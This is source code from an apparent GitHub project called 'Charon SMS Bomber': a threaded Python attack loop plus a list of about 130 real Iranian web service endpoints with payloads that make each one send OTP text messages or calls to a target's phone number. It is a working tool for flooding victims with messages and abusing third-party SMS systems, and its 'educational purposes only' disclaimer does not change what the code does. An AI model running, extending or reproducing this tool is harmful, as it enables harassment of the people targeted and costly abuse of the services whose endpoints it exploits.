163 | request_kwargs["data"] = data_str
164 | elif "params" in api_config:
165 | request_kwargs["params"] = api_config["params"]
166 |
167 | response = session.request(method, url, **request_kwargs)
168 |
169 | return 200 <= response.status_code < 300
170 | except (requests.exceptions.RequestException,
171 | requests.exceptions.Timeout,
172 | requests.exceptions.ConnectionError):
173 | return False
174 | except Exception:
175 | return False
176 |
177 | def startMain(self):
178 | """
179 | Start a new bombing session by collecting user inputs.
180 | """
181 | print(Banner.DefaultBanner())
182 | print(f" {Fore.LIGHTBLUE_EX}[{Fore.LIGHTWHITE_EX}::{Fore.LIGHTBLUE_EX}]"
183 | f"{Fore.YELLOW} You can enter multiple phone numbers separated by ';'"
184 | f" {Fore.LIGHTBLUE_EX}[{Fore.LIGHTWHITE_EX}::{Fore.LIGHTBLUE_EX}]\n\n")
185 |
186 | self.targetPhoneNumber = colorizeInput(PROMPTS[0]).replace(' ', '').split(';')
187 |
188 | if not any(self.targetPhoneNumber):
189 | print(Logs.error("You must enter at least one phone number"))
190 | colorizeInput(INPUT_BACKMENU)
191 | return
192 |
193 | # Normalize phone numbers into +98xxxxxxxxxx format
194 | for i in range(len(self.targetPhoneNumber)):
195 | if self.targetPhoneNumber[i].startswith("0"):
196 | self.targetPhoneNumber[i] = "+98" + self.targetPhoneNumber[i][1:]
197 | elif self.targetPhoneNumber[i].startswith("98"):
198 | self.targetPhoneNumber[i] = "+" + self.targetPhoneNumber[i]
199 | elif self.targetPhoneNumber[i].startswith("+98"):
200 | pass
201 | else:
202 | print(Logs.error(
203 | f"Invalid phone number format {Fore.CYAN}("
204 | f"{Fore.LIGHTYELLOW_EX}{self.targetPhoneNumber[i]}{Fore.CYAN})"
205 | f"{Fore.LIGHTRED_EX}. Must start with 0, 98, or +98"
206 | ))
207 | colorizeInput(INPUT_BACKMENU)
208 | return
209 |
210 | if len(self.targetPhoneNumber[i]) != 13:
211 | print(Logs.error(
212 | f"Invalid phone number length {Fore.CYAN}("
213 | f"{Fore.LIGHTYELLOW_EX}{self.targetPhoneNumber[i]}{Fore.CYAN})"
214 | f"{Fore.LIGHTRED_EX}. Must be 11 digits after country code"
215 | ))
216 | colorizeInput(INPUT_BACKMENU)
217 | return
218 |
219 | # Threads
220 | try:
221 | self.numThreads = int(colorizeInput(PROMPTS[1]))
222 | except ValueError:
223 | print(Logs.error("Invalid Value. Default set to 1\n"))
224 | self.numThreads = 1
225 |
226 | # Rounds
227 | try:
228 | self.numRounds = int(colorizeInput(PROMPTS[2]))
229 | if self.numRounds > 20:
230 | raise ValueError("Max Count Rounds")
231 | except ValueError:
232 | print(Logs.error("Invalid Value/Or Exceeds Max. Default set to 10\n"))
233 | self.numRounds = 10
234 |
235 | # Delay
236 | try:
237 | self.REQUEST_DELAY = float(colorizeInput(PROMPTS[3]))
238 | except ValueError:
239 | print(Logs.error("Invalid Value. Default set to 1.0\n"))
240 | self.REQUEST_DELAY = 1.0
241 |
242 | self.displaySummery()
243 |
244 | def continueMain(self):
245 | """
246 | Load configuration from continue.json to resume attack.
247 | """
248 | with open("continue.json", "r") as continueFileRead:
249 | data = json.loads(continueFileRead.read())
250 |
251 | self.targetPhoneNumber = data['targets'].replace(' ', '').split(";")
252 | self.numThreads = data['threads']
253 | self.numRounds = data['rounds']
254 | self.REQUEST_DELAY = data['delay']
255 |
256 | self.displaySummery()
257 |
258 | def displaySummery(self):
259 | """
260 | Show attack configuration summary before starting.
261 | """
262 | print(Banner.AttackingBanner())
263 | print(f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}√{Fore.CYAN}]"
264 | f"{Fore.LIGHTGREEN_EX} Gearing up the Charon SMS Bomber - Please be patient")
265 | print(Logs.generalMessage(f"{Fore.YELLOW}Stay connected to the internet during attack"))
266 | print(Logs.generalMessage(f"API Version : " + API_VERSION))
267 | print(Logs.generalMessage(f"Targets : ") +
268 | (';'.join(self.targetPhoneNumber) if len(self.targetPhoneNumber) > 1
269 | else self.targetPhoneNumber[0] if self.targetPhoneNumber else ''))
270 | print(Logs.generalMessage(f"Threads : {self.numThreads}"))
271 | print(Logs.generalMessage(f"Rounds : {self.numRounds}"))
272 | print(Logs.generalMessage(f"Delay : {self.REQUEST_DELAY} seconds"))
273 | print(f"\n {Fore.CYAN}[{Fore.LIGHTRED_EX}!{Fore.CYAN}]"
274 | f"{Fore.YELLOW} This tool was made for fun, educational, and research purposes only")
275 |
276 | # Save session
277 | with open("continue.json", "w") as saveFileJson:
278 | saveFileJson.write(json.dumps({
279 | "targets": ';'.join(self.targetPhoneNumber) if len(self.targetPhoneNumber) > 1 else
280 | self.targetPhoneNumber[0] if self.targetPhoneNumber else '',
281 | "threads": self.numThreads,
282 | "rounds": self.numRounds,
283 | "delay": self.REQUEST_DELAY
284 | }, indent=4))
285 |
286 | colorizeInput(INPUT_START)
287 | self.startAttack()
288 |
289 | def get_combined_list(self, apiList):
290 | """
291 | Flatten API lists for multiple targets into a combined, round-robin list.
292 | """
293 | combined_list = []
294 | min_length = min(len(lst_api) for lst_api in apiList)
295 | for i in range(min_length):
296 | for lst in apiList:
297 | combined_list.append(lst[i])
298 | return combined_list
299 |
300 | def pretty_print(self, phone_numbers, round_count: int, api_name: str, success: int, failed: int):
301 | """
302 | Display attack progress in real-time.
303 | """
304 | print(Banner.AttackingBanner())
305 | sended = success + failed
306 | print(f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}√{Fore.CYAN}]"
307 | f"{Fore.LIGHTGREEN_EX} Bombing is in progress - Please be patient")
308 | print(Logs.generalMessage(f"{Fore.YELLOW}Stay connected to the internet during attack"))
309 | print(Logs.generalMessage("Target : " + phone_numbers))
310 | print(Logs.generalMessage("Rounds : " + str(round_count) + "/" + str(self.numRounds)))
311 | print(Logs.generalMessage("API Name : " + api_name))
312 | print(Logs.generalMessage("Sent : " + str(sended) + "/" + str(len(self.API_LIST))))
313 | print(Logs.generalMessage("Successful : " + str(success)))
314 | print(Logs.generalMessage("Failed : " + str(failed)))
315 | print(f" {Fore.CYAN}[{Fore.LIGHTRED_EX}!{Fore.CYAN}]"
316 | f"{Fore.YELLOW} This tool was made for fun, educational, and research purposes only")
317 |
318 | def startAttack(self):
319 | """
320 | Main attack loop: iterates through rounds, sends requests
321 | with ThreadPoolExecutor, and tracks statistics.
322 | """
323 | all_phoneNumbers_api_lists = []
324 |
325 | # Prepare API list for each phone number
326 | for phone_number in self.targetPhoneNumber:
327 | phone_number = phone_number.strip()
328 | if phone_number:
329 | unique_apis = []
330 | seen = set()
331 | api_list = API_LIST(phone_number)
332 | for api in api_list:
333 | identifier = (api["url"], api.get("method", "POST"))
334 | if identifier not in seen:
335 | unique_apis.append(api)
336 | seen.add(identifier)
337 | all_phoneNumbers_api_lists.append(unique_apis)
338 |
339 | # Merge into one unified API list
340 | self.API_LIST = self.get_combined_list(all_phoneNumbers_api_lists)
341 | targets = ';'.join(self.targetPhoneNumber) if len(self.targetPhoneNumber) > 1 else self.targetPhoneNumber[0]
342 |
343 | with requests.Session() as session:
344 | countOfRounds, countOfSucess, countOfFailed = 0, 0, 0
345 |
346 | # Loop through attack rounds
347 | while countOfRounds < self.numRounds:
348 | with confutures.ThreadPoolExecutor(max_workers=self.numThreads) as executor:
349 | future_to_api = {
350 | executor.submit(self.send_request, session, api): api.get("name", "Unknown API")
351 | for api in self.API_LIST
352 | }
353 |
354 | for future in confutures.as_completed(future_to_api):
355 | api_name = future_to_api[future]
356 | try:
357 | success = future.result()
358 | if success:
359 | countOfSucess += 1
360 | else:
361 | countOfFailed += 1
362 | except Exception:
363 | countOfFailed += 1
364 |
365 | # Print attack status
366 | self.pretty_print(targets, countOfRounds, api_name, countOfSucess, countOfFailed)
367 | time.sleep(self.REQUEST_DELAY)
368 |
369 | # Prepare for next round
370 | print(Banner.AttackingBanner())
371 | print(f"\n {Fore.LIGHTBLUE_EX}[{Fore.YELLOW}!{Fore.LIGHTBLUE_EX}]"
372 | f"{Fore.LIGHTWHITE_EX} Starting next round in 3 seconds ...")
373 | countOfSucess, countOfFailed = 0, 0
374 | countOfRounds += 1
375 | time.sleep(3)
376 |
377 | # Attack completed
378 | print(Banner.AttackingBanner())
379 | print(Logs.success("Bombing Completed!"))
380 | colorizeInput(INPUT_BACKMENU)
381 |
382 | def aboutMain(self):
383 | """
384 | Show program details: name, version, repo, license.
385 | """
386 | print(Banner.DefaultBanner())
387 | print(f" {Fore.LIGHTGREEN_EX}#############################################################################")
388 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Program Name : {Fore.LIGHTCYAN_EX}Charon SMS Bomber {Fore.LIGHTGREEN_EX}#")
389 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Program Version : {Fore.LIGHTCYAN_EX}2.1.1 {Fore.LIGHTGREEN_EX}#")
390 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Repository Page : {Fore.LIGHTCYAN_EX}https://github.com/Ch4120N/Charon-SMS-Bomber {Fore.LIGHTGREEN_EX}#")
391 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Owned By : {Fore.LIGHTCYAN_EX}Ch4120N (AmirHossein Ghanami) {Fore.LIGHTGREEN_EX}#")
392 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTWHITE_EX} Licence : {Fore.LIGHTCYAN_EX}CGBL (Charon General Black Licence) {Fore.LIGHTGREEN_EX}#")
393 | print(f" {Fore.LIGHTGREEN_EX}# {Fore.LIGHTGREEN_EX}#")
394 | print(f" {Fore.LIGHTGREEN_EX}#{Fore.LIGHTRED_EX} ! This tool was made for fun, educational, and research purposes only ! {Fore.LIGHTGREEN_EX}#")
395 | print(f" {Fore.LIGHTGREEN_EX}#############################################################################\n")
396 | colorizeInput(INPUT_BACKMENU)
397 |
398 |
399 | if __name__ == '__main__':
400 | # Ensure Python3 environment
401 | if sys.version_info[0] != 3:
402 | print("[-] ChSMSBomber will work only in Python v3")
403 | sys.exit()
404 |
405 | # Disable SSL warnings from urllib3
406 | requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
407 |
408 | # Start program
409 | ChSMSBomber()
410 |
--------------------------------------------------------------------------------
/Core/Api.py:
--------------------------------------------------------------------------------
1 |
2 | def API_LIST(phoneNumber:str):
3 | phoneNumber_countryCode = phoneNumber.replace('+98', '')
4 | phoneNumber_zero = "0" + phoneNumber.replace('+98', '')
5 |
6 | return [
7 | {"name": "Snapp", "method": "POST", "url": "https://app.snapp.taxi/api/api-passenger-oauth/v3/mutotp", "payload": {"cellphone": phoneNumber_countryCode}},
8 | {"name": "Snapp V2", "method": "POST", "url": "https://app.snapp.taxi/api/api-passenger-oauth/v2/otp", "payload": {"cellphone": phoneNumber}},
9 | {"name": "Tap30", "method": "POST", "url": "https://tap33.me/api/v2/user", "payload": {"credential": {"phoneNumber": phoneNumber_zero, "role": "PASSENGER"}}},
10 | {"name": "Divar", "method": "POST", "url": "https://api.divar.ir/v5/auth/authenticate", "payload": {"phone": phoneNumber}},
11 | {"name": "SnappFood", "method": "POST", "url": "https://snappfood.ir/mobile/v2/user/loginMobileWithNoPass", "payload": {"cellphone": phoneNumber_zero, "client": "PWA"}},
12 | {"name": "Torob", "method": "GET", "url": "https://api.torob.com/a/phone/send-pin/", "params": {"phone_number": phoneNumber_zero}},
13 | {"name": "Gap", "method": "GET", "url": "https://core.gap.im/v1/user/add.json", "params": {"mobile": phoneNumber}},
14 | {"name": "Sheypoor", "method": "POST", "url": "https://www.sheypoor.com/auth", "data": {"username": phoneNumber_zero}},
15 | {"name": "AliBaba", "method": "POST", "url": "https://ws.alibaba.ir/api/v3/account/mobile/otp", "payload": {"phoneNumber": phoneNumber_zero}},
16 | {"name": "Snapp Market", "method": "POST", "url": "https://api.snapp.market/mart/v1/user/loginMobileWithNoPass", "params": {"cellphone": phoneNumber_zero}},
17 | {"name": "GapFilm", "method": "POST", "url": "https://core.gapfilm.ir/api/v3.1/Account/Login", "payload": {"Type": 3, "Username": phoneNumber, "SourceChannel": "GF_WebSite"}},
18 | {"name": "FilmNet", "method": "GET", "url": "https://api-v2.filmnet.ir/access-token/users/" + phoneNumber + "/otp"},
19 | {"name": "DrDr", "method": "POST", "url": "https://drdr.ir/api/registerEnrollment/sendDisposableCode", "params": {"phoneNumber": phoneNumber, "userType": "PATIENT"}},
20 | {"name": "Banimode", "method": "POST", "url": "https://mobapi.banimode.com/api/v2/auth/request", "payload": {"phone": phoneNumber_zero}},
21 | {"name": "BaSalam", "method": "POST", "url": "https://api.basalam.com/user", "payload": {"variables": {"mobile": phoneNumber_zero}, "query": "mutation verificationCodeRequest($mobile: MobileScalar!) { mobileVerificationCodeRequest(mobile: $mobile) { success } }"}},
22 | {"name": "Nobat.ir", "method": "POST", "url": "https://nobat.ir/api/public/patient/login/phone", "data": {"mobile": phoneNumber_zero}},
23 | {"name": "Alopeyk", "method": "POST", "url": "https://api.alopeyk.com/api/v2/login?platform=pwa", "payload": {"type": "CUSTOMER", "phone": phoneNumber}},
24 | {"name": "ShahrFarsh", "method": "POST", "url": "https://shahrfarsh.com/Account/Login", "data": {"phoneNumber": phoneNumber_zero}},
25 | {"name": "DigiStyle", "method": "POST", "url": "https://www.digistyle.com/users/login-register/", "data": {"loginRegister[email_phone]": phoneNumber_zero}},
26 | {"name": "Snapp Express", "method": "POST", "url": "https://api.snapp.express/mobile/v4/user/loginMobileWithNoPass", "data": {"cellphone": phoneNumber_zero}},
27 | {"name": "Azki", "method": "POST", "url": "https://www.azki.com/api/vehicleorder/v2/app/auth/check-login-availability/", "payload": {"phoneNumber": phoneNumber_zero}},
28 | {"name": "Digikala Jet", "method": "POST", "url": "https://api.digikalajet.ir/user/login-register/", "payload": {"phone": phoneNumber_zero}},
29 | {"name": "Snapp Drivers", "method": "POST", "url": "https://digitalsignup.snapp.ir/ds3/api/v3/otp", "payload": {"cellphone": phoneNumber_zero}},
30 | {"name": "Ostadkar", "method": "POST", "url": "https://api.ostadkr.com/login", "payload": {"mobile": phoneNumber_zero}},
31 | {"name": "Miare", "method": "POST", "url": "https://www.miare.ir/api/otp/driver/request/", "payload": {"phone_number": phoneNumber_zero}},
32 | {"name": "Tapsi Drivers", "method": "POST", "url": "https://api.tapsi.ir/api/v2.2/user", "payload": {"credential": {"phoneNumber": phoneNumber_zero, "role": "DRIVER"}, "otpOption": "SMS"}},
33 | {"name": "Taaghche", "method": "POST", "url": "https://gw.taaghche.com/v4/site/auth/login", "payload": {"contact": phoneNumber_zero, "forceOtp": False}},
34 | {"name": "Mobit", "method": "POST", "url": "https://api.mobit.ir/api/web/v8/register/register", "payload": {"number": phoneNumber_zero}},
35 | {"name": "Jabama", "method": "POST", "url": "https://taraazws.jabama.com/api/v4/account/send-code", "payload": {"mobile": phoneNumber_zero}},
36 | {"name": "Ghabzino", "method": "POST", "url": "https://application2.billingsystem.ayantech.ir/WebServices/Core.svc/requestActivationCode", "payload": {"Parameters": {"ApplicationType": "Web", "MobileNumber": phoneNumber_zero}}},
37 | {"name": "Komodaa", "method": "POST", "url": "https://api.komodaa.com/api/v2.6/loginRC/request", "payload": {"phone_number": phoneNumber_zero}},
38 | {"name": "Bargh-e Man", "method": "POST", "url": "https://uiapi2.saapa.ir/api/otp/sendCode", "payload": {"mobile": phoneNumber_zero, "from_meter_buy": False}},
39 | {"name": "Vandar", "method": "POST", "url": "https://api.vandar.io/account/v1/check/mobile", "payload": {"mobile": phoneNumber_zero}},
40 | {"name": "Pinorest", "method": "POST", "url": "https://api.pinorest.com/frontend/auth/login/mobile", "payload": {"mobile": phoneNumber_zero}},
41 | {"name": "Tetherland", "method": "POST", "url": "https://service.tetherland.com/api/v5/login-register", "payload": {"mobile": phoneNumber_zero}},
42 | {"name": "DrNext", "method": "POST", "url": "https://cyclops.drnext.ir/v1/patients/auth/send-verification-token", "payload": {"source": "besina", "mobile": phoneNumber_zero}},
43 | {"name": "Classino", "method": "POST", "url": "https://student.classino.com/otp/v1/api/login", "payload": {"mobile": phoneNumber_zero}},
44 | {"name": "Behtarino", "method": "POST", "url": "https://bck.behtarino.com/api/v1/users/jwt_phone_verification/", "payload": {"phone": phoneNumber_zero}},
45 | {"name": "Bit24", "method": "POST", "url": "https://bit24.cash/auth/bit24/api/v3/auth/check-mobile", "payload": {"mobile": phoneNumber_zero, "contry_code": "98"}},
46 | {"name": "Doctoreto", "method": "GET", "url": "https://api.doctoreto.com/api/web/patient/v1/accounts/register", "params": {"mobile": phoneNumber, "country_id": 205}},
47 | {"name": "Okala", "method": "POST", "url": "https://api-react.okala.com/C/CustomerAccount/OTPRegister", "payload": {"mobile": phoneNumber_zero, "deviceTypeCode": 0, "confirmTerms": True, "notRobot": False}},
48 | {"name": "Beroozmarket", "method": "POST", "url": "https://api.beroozmart.com/api/pub/account/send-otp", "payload": {"mobile": phoneNumber_zero, "sendViaSms": True}},
49 | {"name": "Itoll", "method": "POST", "url": "https://app.itoll.com/api/v1/auth/login", "payload": {"mobile": phoneNumber_zero}},
50 | {"name": "Pinket", "method": "POST", "url": "https://pinket.com/api/cu/v2/phone-verification", "payload": {"phoneNumber": phoneNumber_zero}},
51 | {"name": "Football360", "method": "POST", "url": "https://football360.ir/api/auth/verify-phone/", "payload": {"phone_number": phoneNumber}},
52 | {"name": "MrBilit", "method": "GET", "url": "https://auth.mrbilit.com/api/login/exists/v2", "params": {"mobileOrEmail": phoneNumber_zero, "source": 2, "sendTokenIfNot": "true"}},
53 | {"name": "HamrahMechanic", "method": "POST", "url": "https://www.hamrah-mechanic.com/api/v1/membership/otp", "payload": {"PhoneNumber": phoneNumber_zero}},
54 | {"name": "Lendo", "method": "POST", "url": "https://api.lendo.ir/api/customer/auth/send-otp", "payload": {"mobile": phoneNumber_zero}},
55 | {"name": "Fidibo", "method": "POST", "url": "https://fidibo.com/user/login-by-sms", "data": "mobile_number=" + phoneNumber_countryCode + "&country_code=ir"},
56 | {"name": "Khodro45", "method": "POST", "url": "https://khodro45.com/api/v1/customers/otp/", "payload": {"mobile": phoneNumber_zero}},
57 | {"name": "Pateh", "method": "POST", "url": "https://api.pateh.com/api/v1/LoginOrRegister", "payload": {"mobile": phoneNumber_zero}},
58 | {"name": "Ketabchi", "method": "POST", "url": "https://ketabchi.com/api/v1/auth/requestVerificationCode", "payload": {"auth": {"phoneNumber": phoneNumber_zero}}},
59 | {"name": "RayanErtebat", "method": "POST", "url": "https://pay.rayanertebat.ir/api/User/Otp", "payload": {"mobileNo": phoneNumber_zero}},
60 | {"name": "Bimito", "method": "POST", "url": "https://bimito.com/api/vehicleorder/v2/app/auth/login-with-verify-code", "payload": {"phoneNumber": phoneNumber_zero, "isResend": False}},
61 | {"name": "Pindo", "method": "POST", "url": "https://api.pindo.ir/v1/user/login-register/", "payload": {"phone": phoneNumber_zero}},
62 | {"name": "Delino", "method": "POST", "url": "https://www.delino.com/user/register", "payload": {"mobile": phoneNumber_zero}},
63 | {"name": "Zoodex", "method": "POST", "url": "https://admin.zoodex.ir/api/v1/login/check", "payload": {"mobile": phoneNumber_zero}},
64 | {"name": "Kukala", "method": "POST", "url": "https://api.kukala.ir/api/user/Otp", "payload": {"phoneNumber": phoneNumber_zero}},
65 | {"name": "Baskool", "method": "POST", "url": "https://www.buskool.com/send_verification_code", "payload": {"phone": phoneNumber_zero}},
66 | {"name": "3tex", "method": "POST", "url": "https://3tex.io/api/1/users/validation/mobile", "payload": {"receptorPhone": phoneNumber_zero}},
67 | {"name": "DeniizShop", "method": "POST", "url": "https://deniizshop.com/api/v1/sessions/login_request", "payload": {"mobile_number": phoneNumber_zero}},
68 | {"name": "Flightio", "method": "POST", "url": "https://flightio.com/bff/Authentication/CheckUserKey", "payload": {"userKey": phoneNumber_zero}},
69 | {"name": "AbanTether", "method": "POST", "url": "https://abantether.com/users/register/phone/send/", "payload": {"phoneNumber": phoneNumber_zero}},
70 | {"name": "Pooleno", "method": "POST", "url": "https://api.pooleno.ir/v1/auth/check-mobile", "payload": {"mobile": phoneNumber_zero}},
71 | {"name": "WideApp", "method": "POST", "url": "https://agent.wide-app.ir/auth/token", "payload": {"grant_type": "otp", "client_id": "62b30c4af53e3b0cf100a4a0", "phone": phoneNumber_zero}},
72 | {"name": "BitBarg", "method": "POST", "url": "https://api.bitbarg.com/api/v1/authentication/registerOrLogin", "payload": {"phone": phoneNumber_zero}},
73 | {"name": "BahramShop", "method": "POST", "url": "https://api.bahramshop.ir/api/user/validate/username", "payload": {"username": phoneNumber_zero}},
74 | {"name": "Chamedoon", "method": "POST", "url": "https://chamedoon.com/api/v1/membership/guest/request_mobile_verification", "payload": {"mobile": phoneNumber_zero}},
75 | {"name": "Kilid", "method": "POST", "url": "https://server.kilid.com/global_auth_api/v1.0/authenticate/login/realm/otp/start?realm=PORTAL", "payload": {"mobile": phoneNumber_zero}},
76 | {"name": "Otaghak", "method": "POST", "url": "https://core.otaghak.com/odata/Otaghak/Users/SendVerificationCode", "payload": {"userName": phoneNumber_zero}},
77 | {"name": "Shab", "method": "POST", "url": "https://www.shab.ir/api/fa/sandbox/v_1_4/auth/enter-mobile", "payload": {"mobile": phoneNumber_zero}},
78 | {"name": "Raybit", "method": "POST", "url": "https://api.raybit.net:3111/api/v1/authentication/register/mobile", "payload": {"mobile": phoneNumber_zero}},
79 | {"name": "FarviShop", "method": "POST", "url": "https://farvi.shop/api/v1/sessions/login_request", "payload": {"mobile_phone": phoneNumber_zero}},
80 | {"name": "Namava", "method": "POST", "url": "https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request", "payload": {"UserName": phoneNumber_zero}},
81 | {"name": "a4baz", "method": "POST", "url": "https://a4baz.com/api/web/login", "payload": {"cellphone": phoneNumber_zero}},
82 | {"name": "AnarGift", "method": "POST", "url": "https://api.anargift.com/api/people/auth", "payload": {"user": phoneNumber_zero}},
83 | {"name": "Simkhan", "method": "POST", "url": "https://www.simkhanapi.ir/api/users/registerV2", "payload": {"mobileNumber": phoneNumber_zero}},
84 | {"name": "SibIrani", "method": "POST", "url": "https://sandbox.sibirani.ir/api/v1/user/invite", "payload": {"username": phoneNumber_zero}},
85 | {"name": "HyperJan", "method": "POST", "url": "https://shop.hyperjan.ir/api/users/manage", "payload": {"mobile": phoneNumber_zero}},
86 | {"name": "Digikala", "method": "POST", "url": "https://api.digikala.com/v1/user/authenticate/", "payload": {"username": phoneNumber_zero}},
87 | {"name": "HiWord", "method": "POST", "url": "https://hiword.ir/wp-json/otp-login/v1/login", "payload": {"identifier": phoneNumber_zero}},
88 | {"name": "Tikban", "method": "POST", "url": "https://tikban.com/Account/LoginAndRegister", "payload": {"cellPhone": phoneNumber_zero}},
89 | {"name": "Dicardo", "method": "POST", "url": "https://dicardo.com/main/sendsms", "payload": {"phone": phoneNumber_zero}},
90 | {"name": "Khanoumi", "method": "POST", "url": "https://www.khanoumi.com/accounts/sendotp", "payload": {"mobile": phoneNumber_zero}},
91 | {"name": "RojaShop", "method": "POST", "url": "https://rojashop.com/api/auth/sendOtp", "payload": {"mobile": phoneNumber_zero}},
92 | {"name": "Dadpardaz", "method": "POST", "url": "https://dadpardaz.com/advice/getLoginConfirmationCode", "payload": {"mobile": phoneNumber_zero}},
93 | {"name": "Rokla", "method": "POST", "url": "https://api.rokla.ir/api/request/otp", "payload": {"mobile": phoneNumber_zero}},
94 | {"name": "Pezeshket", "method": "POST", "url": "https://api.pezeshket.com/core/v1/auth/requestCode", "payload": {"mobileNumber": phoneNumber_zero}},
95 | {"name": "Virgool", "method": "POST", "url": "https://virgool.io/api/v1.4/auth/verify", "payload": {"method": "phone", "identifier": phoneNumber_zero}},
96 | {"name": "Timcheh", "method": "POST", "url": "https://api.timcheh.com/auth/otp/send", "payload": {"mobile": phoneNumber_zero}},
97 | {"name": "Paklean", "method": "POST", "url": "https://client.api.paklean.com/user/resendCode", "payload": {"username": phoneNumber_zero}},
98 | {"name": "Daal", "method": "POST", "url": "https://daal.co/api/authentication/login-register/method/phone-otp/user-role/customer/verify-request", "payload": {"phone": phoneNumber_zero}},
99 | {"name": "Bimebazar", "method": "POST", "url": "https://bimebazar.com/accounts/api/login_sec/", "payload": {"username": phoneNumber_zero}},
100 | {"name": "SafarMarket", "method": "POST", "url": "https://safarmarket.com//api/security/v2/user/otp", "payload": {"phone": phoneNumber_zero}},
101 | {"name": "Shad", "method": "POST", "url": "https://shadmessenger12.iranlms.ir/", "payload": {"api_version": "3", "method": "sendCode", "data": {"phone_number": "098" + phoneNumber_countryCode + "", "send_type": "SMS"}}},
102 | {"name": "Emtiaz", "method": "POST", "url": "https://web.emtiyaz.app/json/login", "data": "send=1&cellphone=" + phoneNumber_zero + ""},
103 | {"name": "Rubika", "method": "POST", "url": "https://messengerg2c4.iranlms.ir/", "payload": {"api_version": "3", "method": "sendCode", "data": {"phone_number": phoneNumber, "send_type": "SMS"}}},
104 | {"name": "Bama", "method": "POST", "url": "https://bama.ir/signin-checkforcellnumber", "data": "cellNumber=" + phoneNumber_zero + ""},
105 | {"name": "Snapp Doctor", "method": "GET", "url": "https://core.snapp.doctor/Api/Common/v1/sendVerificationCode/" + phoneNumber_countryCode + "/sms?cCode=+98"},
106 | {"name": "Bitpin", "method": "POST", "url": "https://api.bitpin.ir/v1/usr/sub_phone/", "payload": {"phone": phoneNumber_zero}},
107 | {"name": "Trip (Call)", "method": "POST", "url": "https://gateway.trip.ir/api/Totp", "payload": {"PhoneNumber": phoneNumber_zero}},
108 | {"name": "Paklean (Call)", "method": "POST", "url": "https://client.api.paklean.com/user/resendVoiceCode", "payload": {"username": phoneNumber_zero}},
109 | {"name": "Ragham (Call)", "method": "POST", "url": "https://web.raghamapp.com/api/users/code", "payload": {"phone": phoneNumber}},
110 | {"name": "Achareh", "method": "POST", "url": "https://api.achareh.co/v2/accounts/login/", "payload": {"phone": "98" + phoneNumber_countryCode + ""}},
111 | {"name": "Zigap", "method": "POST", "url": "https://zigap.smilinno-dev.com/api/v1.6/authenticate/sendotp", "payload": {"phoneNumber": phoneNumber}},
112 | {"name": "Mootanroo", "method": "POST", "url": "https://api.mootanroo.com/api/v3/auth/send-otp", "payload": {"PhoneNumber": phoneNumber_zero}},
113 | {"name": "Tebinja", "method": "POST", "url": "https://www.tebinja.com/api/v1/users", "payload": {"username": phoneNumber_zero}},
114 | {"name": "Dosma", "method": "POST", "url": "https://app.dosma.ir/api/v1/account/send-otp/", "payload": {"mobile": phoneNumber_zero}},
115 | {"name": "Sibbazar", "method": "POST", "url": "https://sandbox.sibbazar.com/api/v1/user/invite", "payload": {"username": phoneNumber_zero}},
116 | {"name": "Pubisha", "method": "POST", "url": "https://www.pubisha.com/login/checkCustomerActivation", "data": "mobile=" + phoneNumber_zero + ""},
117 | {"name": "Wisgoon", "method": "POST", "url": "https://gateway.wisgoon.com/api/v1/auth/login/", "payload": {"phone": phoneNumber_zero}},
118 | {"name": "Tagmond", "method": "POST", "url": "https://tagmond.com/phone_number", "data": "phone_number=" + phoneNumber_zero + ""},
119 | {"name": "Olgoo", "method": "POST", "url": "https://www.olgoobooks.ir/sn/userRegistration/", "data": {"contactInfo[mobile]": phoneNumber_zero}},
120 | {"name": "PakhshShop", "method": "POST", "url": "https://www.pakhsh.shop/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_zero + ""},
121 | {"name": "Didnegar", "method": "POST", "url": "https://www.didnegar.com/wp-admin/admin-ajax.php", "data": "action=digits_check_mob&mobileNo=" + phoneNumber_countryCode + ""},
122 | {"name": "See5", "method": "POST", "url": "https://crm.see5.net/api_ajax/sendotp.php", "data": {"mobile": phoneNumber_zero, "action": "sendsms"}},
123 | {"name": "DrSaina", "method": "POST", "url": "https://www.drsaina.com/RegisterLogin", "data": "PhoneNumber=" + phoneNumber_zero + ""},
124 | {"name": "Limome", "method": "POST", "url": "https://my.limoome.com/api/auth/login/otp", "data": {"mobileNumber": phoneNumber, "country": "1"}},
125 | {"name": "Devsloop", "method": "POST", "url": "https://i.devslop.app/app/ifollow/api/otp.php", "data": "number=" + phoneNumber_zero + "&state=number"},
126 | {"name": "Ghasedak24", "method": "POST", "url": "https://ghasedak24.com/user/ajax_register", "data": {"username": phoneNumber_zero}},
127 | {"name": "Iranketab", "method": "POST", "url": "https://www.iranketab.ir/account/register", "data": {"UserName": phoneNumber_zero}},
128 | {"name": "Takfarsh", "method": "POST", "url": "https://takfarsh.com/wp-content/themes/bakala/template-parts/send.php", "data": {"phone_email": phoneNumber_zero}},
129 | {"name": "Iranicard", "method": "POST", "url": "https://api.iranicard.ir/api/v1/register", "data": {"mobile": phoneNumber_zero}},
130 | {"name": "PubgSell", "method": "GET", "url": "https://pubg-sell.ir/loginuser?username=" + phoneNumber_zero + ""},
131 | {"name": "Tj8", "method": "POST", "url": "https://tj8.ir/auth/register", "data": {"mobile": phoneNumber_zero}},
132 | {"name": "Mashinbank", "method": "POST", "url": "https://mashinbank.com/api2/users/check", "data": {"mobileNumber": phoneNumber_zero}},
133 | {"name": "Cinematicket", "method": "POST", "url": "https://cinematicket.org/api/v1/users/signup", "payload": {"phone_number": phoneNumber_zero}},
134 | {"name": "Kafegheymat", "method": "POST", "url": "https://kafegheymat.com/shop/getLoginSms", "data": {"phone": phoneNumber_zero}},
135 | {"name": "Opco", "method": "POST", "url": "https://shop.opco.co.ir/index.php?route=extension/module/login_verify/update_register_code", "data": {"telephone": phoneNumber_zero}},
136 | {"name": "Melix", "method": "POST", "url": "https://melix.shop/site/api/v1/user/otp", "payload": {"mobile": phoneNumber_zero}},
137 | {"name": "Safiran", "method": "POST", "url": "https://safiran.shop/login", "payload": {"mobile": phoneNumber_zero}},
